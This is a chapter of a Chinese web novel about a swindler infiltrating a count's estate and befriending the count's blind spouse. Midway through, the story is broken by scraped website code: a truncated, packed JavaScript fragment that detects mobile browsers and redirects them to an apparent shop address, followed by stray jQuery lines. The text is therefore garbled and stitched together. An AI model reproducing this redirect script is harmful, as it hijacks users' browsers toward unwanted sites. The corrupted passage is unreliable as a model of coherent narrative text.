9. 第9章

作品:《雌虫怎么找老婆

    又过了些时日,伯爵时不时会来他的客卧闲谈几句,或是在大厅中的壁炉前,派侍虫将他叫下去烤火。


    侍虫不在场时,弗兰西就说几句稍显逾矩的夸赞。贝希摩斯也习惯了他这副嘴脸,有时面不改色地跳开话题,有时顺着与他调情几句。


    反正也不会掉块肉下来,且让他讨几句言语上的便宜。


    在爱情方面,贝希摩斯天生缺了根筋。


    也许是因为对雄虫信息素的研究足够透彻,连带着对这种性别的虫也没有额外的好感。


    噢,要不是因为贵族雄虫往往能够继承家族的财产,他是恨不得离这种生物八丈远的。


    好在大多数雄虫在四肢不发达的同时,头脑也很简单,窃取他们的财富实在是轻而易举。


    不过一星期的功夫,伯爵已然许诺要娶他做雌侍。


    在他立下誓言的隔天,一堆侍虫敲开了他的房门,送来成箱的珠宝首饰,其中还有一个衣着体面的裁缝,为他量体裁衣以制作各种场合中穿着的礼服。


    贝希摩斯欣然接受。这段时间,他在庄园内部游走打探,也获知了不少信息。


    有一个令他疑惑的发现。


    梅斐斯特出现的时间少得可怜,他时常待在卧房或是书房,就连伯爵在一楼用餐时,他也鲜有现身的时候。


    只有在一些午后,隔壁书房传来布鲁克的念书声,他才知道这位雌君终于出了房门。


    梅斐斯特在庄园里的存在感约等于一只透明虫,伯爵不会主动提起他,侍虫也只在私下里议论两句。


    这一天,弗兰西预备去辖下的农庄巡视,隔几日回,顺便带走了许多侍虫。


    贝希摩斯守在大门口,依依不舍地与他挥别。待到伯爵离去的身影消失在大道后,迫不及待地回到府邸二楼。


    长廊安安静静的,听不见虫为噪音。


    这些年他也总结了些许经验。贵虫们的财物不会都放在同一个位置。但是书房卧房内大都藏有应急的钱币和一些关键文件,至少不用担心走空。


    贝希摩斯迟疑片刻,决定还是先摸清梅斐斯特的位置,再去伯爵的私虫领域探索。


    缓步走到梅斐斯特的卧房前,侧耳倾听一刻钟,没有动静。


    又转到隔壁小书房,他试探性地伸出手,门却被轻易推开了。


    里面似乎没有虫,难不成是忘了锁?


    贝希摩斯心中暗喜,今天真是虫神开了眼,能让他如此顺利。


    小书房里最显眼的是塞得满满当当精装书的大书柜,旁边是实木桌、高脚椅。


    贝希摩斯脚步一顿,眸光转到角落,瞬间屏住了呼吸。


    个子小巧的雌君蜷缩在沙发上酣睡,婴儿般的睡姿,呼吸声也不明显,以至于自己刚进门时根本没有发现他的存在。


    “……”


    贝希摩斯一步步走近,发现雌虫的双手做出了一个环抱自己的姿势。


    是觉得冷吗?


    梅斐斯特穿着件单薄的衬衣,底下是白色长筒袜,勾勒出纤瘦的线条。外披着的长袍因为睡姿,大部分布料都堆积在身体一侧,没能起到多少保暖的作用。


    贝希摩斯脱下自己半个小时前新换上的羊毛斗篷,倾身盖在梅斐斯特的身上。


    即使足够小心,雌君还是被这微小的动作吵醒了。


    贝希摩斯也没产生什么将他吵醒的愧疚心理。


    在他的设想里,梅斐斯特要么醒来去换上够保暖的衣物,要么披着这件足够厚实的披风睡,否则再这样睡下去肯定会生病。


    “谁?”


    梅斐斯特摸索着沙发的绒布面支起上半身,伸手握住滑落的斗篷。


    入手陌生的触感让他一怔,“布鲁克?不对……不是这个气味……”


    手指不自觉地攥紧斗篷上的绒毛,心中闪过一个微小的可能。


    贝希摩斯没有出声,就那样安静地站着,眼看着梅斐斯特抬起头,语气轻柔、带着希冀地吐出两个字:“雄主?”


    渴望亲昵又带点惧怕的神色,像只探出洞口的穴兔,一有风吹草动就会以比闪电还快的速度缩回洞内,连个尾巴尖都别想摸到。


    哈。


    贝希摩斯在心中冷笑,晾了他一会儿。直到梅斐斯特的脸色开始变得惶惶不安,这才不疾不徐地开口。


    “伯爵今日不在,”他又换上了温和的语调,“他去巡视领地了,雌君没听他说么?”


    “啊……”梅斐斯特迷茫了一瞬,很快从声线中辨认出来者。


    “贝西,是你呀?外套是你的吗?谢谢。”


    似乎是因为认错了虫,他尴尬地加快了语速,向来苍白的面色也飞起羞赧的红晕。


    贝希摩斯凑近欣赏了一会儿他难得慌张的神色,这才凑近,毫无顾忌地坐下。


    明明沙发上有空余,可他偏偏坐在了梅斐斯特的身侧。


    侧过身看过去时,向来内敛的雌君身体抖了抖,似乎不太适应不怎么熟悉的虫靠近,可良好的修养又使他不会开口赶虫。


    “雌君怎么独自睡在这里?您就是太宽和,才会让贴身侍虫懒怠。瞧瞧,差点儿让您着了凉。”


    “布鲁克今日有事请了假,我想在书房待一会儿,结果不小心睡着了。”


    梅斐斯特说话时,不像正常虫那样与虫对视,而是会微微偏过头,认真倾听。


    这个角度能看到他柔软蓬松,又睡得发丝乱翘的头顶。


    多像一只趴伏在真丝地毯上的卷毛贵宾犬。


    贝希摩斯笑了笑,心里划过微妙的恶意。


    “方才我在庄园门口送伯爵离开,您没来,是因为伯爵没告诉您他的行程吗?当然,外面的风刮得冷极了,您没去也省得受冻。”


    这就是明晃晃的炫耀示威了。


    既然迟早要和这位雌君站在对立面,贝希摩斯也不介意早点挑破这层窗户纸。


    雌侍都已经登堂入室了,也就梅斐斯特这种笨蛋雌君才毫无察觉,对着未来的竞争对手好声好气地说话。


    他原以为面对自己这样的挑衅,梅斐斯特即使不生气,也要伤心难过,谁知……


    梅斐斯特听完,轻声回道:“外面很冷吗?那我打铃叫侍虫带个火盆上来吧,斗篷先穿回去,免得着凉。约翰医师要是来看诊,你准会后悔没保护好自己的身体的,我保证。”


    说这话时,他皱了皱鼻子,眉头也拧出疙瘩来。


    贝希摩斯眨眨眼,确信梅斐斯特那张苍白的小脸上没有任何愤怒、失落的神色,半晌没缓过劲儿来。


    难道是他说得不够明显?


    “多谢雌君关心,伯爵也是这么说的,我只在门口站了一会儿,他就急着要我回来休息。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323721|199103||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >梅斐斯特张了张嘴,又安静地闭上了。这下,他确切感受到了弗兰西伯爵对他和旁虫的态度差异。


    “……您在想什么?”


    贝希摩斯如愿地在他脸上看到泄气的神情,可当那双琥珀色的眼睛黯淡下来,他的心里却有些不是滋味。


    “……我习惯了呀。”梅斐斯特漫无目的地“望”着前方,喃喃自语,“他一向是这样,我知道的。”


    为难一个无害的草食动物有什么意思?


    贝希摩斯想通后,决定还是不把气氛搞得这么僵,且不提现在还没当上正式的雌侍,梅斐斯特也是伯爵资产的共同拥有者,不好过于苛待。


    “雌君还想听书吗?”贝希摩斯语意含笑,“我可以做您的‘一日布鲁克’。这里的藏书很多,仁慈的雌君愿不愿意允许我的私心存在,与您一同阅读呢?”


    骗子撒谎总是张口就来的。贝希摩斯最烦抓着一本砖石模样的东西就浪费半个月的光阴。


    书架上的大半是虫神信仰者编出的典籍,而后是比城墙厚的史诗……若是换成奇幻冒险故事,他倒是有兴趣翻几页。


    总之要博得小书虫的好感,投其所好是必要之举。


    “真的吗?”梅斐斯特微微睁大双眼,很快笑开了。


    他大多数时候总是忧郁的,庄园里的日子令他不快活。


    除开精心烹制的肉,也只有那些文字、故事能够喂饱、填充他瘦怏怏的纤薄躯体。


    “你解决了我的一个难题,亲爱贝西!”他摸索着,终于抓握住了贝希摩斯的手指头。


    “我学习了盲文,可这世上哪有那么多的盲文书籍供我阅读呢?我买不到,也出不了这个庄园,就只能让侍虫将书架上的存货念给我听。


    “可我知道……布鲁克不爱书,也不爱那些书中构筑的世界。他的嗓子干涩、语调混乱,甚至分不太清那些词组的含义。


    “这简直就是折磨!对他来说是,对我来说也是。可我是个自私的雌虫,明知道他不乐意做这事,还用金币去收买……我想我大概是个残暴的奴隶主了,可不听点什么,我迟早要发疯的……”


    在梅斐斯特手指抓上来的一瞬间,贝希摩斯的心脏猛地搏动了一下。


    他确信自己的身体很健康,年纪轻轻不会有心脏病,可一瞬间的心悸是切实存在的。


    梅斐斯特没带手套,暖烘烘的手指覆上来,指腹的质感很粗糙,全是厚茧。


    贝希摩斯垂眸看去,那双手不像自己想象中那般养尊处优、精致无暇,正相反,上面布满了大大小小的疮疤。


    盲眼的虫认知世界的过程总是伴随着疼痛。从幼虫到成虫,他们的身体会留下那些密密麻麻的印迹。


    梅斐斯特还拉着他的手喋喋不休,坏心眼的骗子从没想到这个温良内敛的贵族雌虫会忽然进入这种遇到知音的状态。


    贝希摩斯:“……”


    也许是因为他长时间没有给出合适回应,梅斐斯特忽然意识到自己交浅言深了,嗓音越来越小:“对不起,我是不是……话太多了?”


    方才还探出触角肆意爬行的软体小蜗牛眼看又要缩回壳里,贝希摩斯当机立断反握住他的手:“怎么会?我只是在想,给您念什么书比较好。”


    “挑我们都喜欢的就好啦。”


    梅斐斯特松了口气,嘴角漾出软甜的笑意。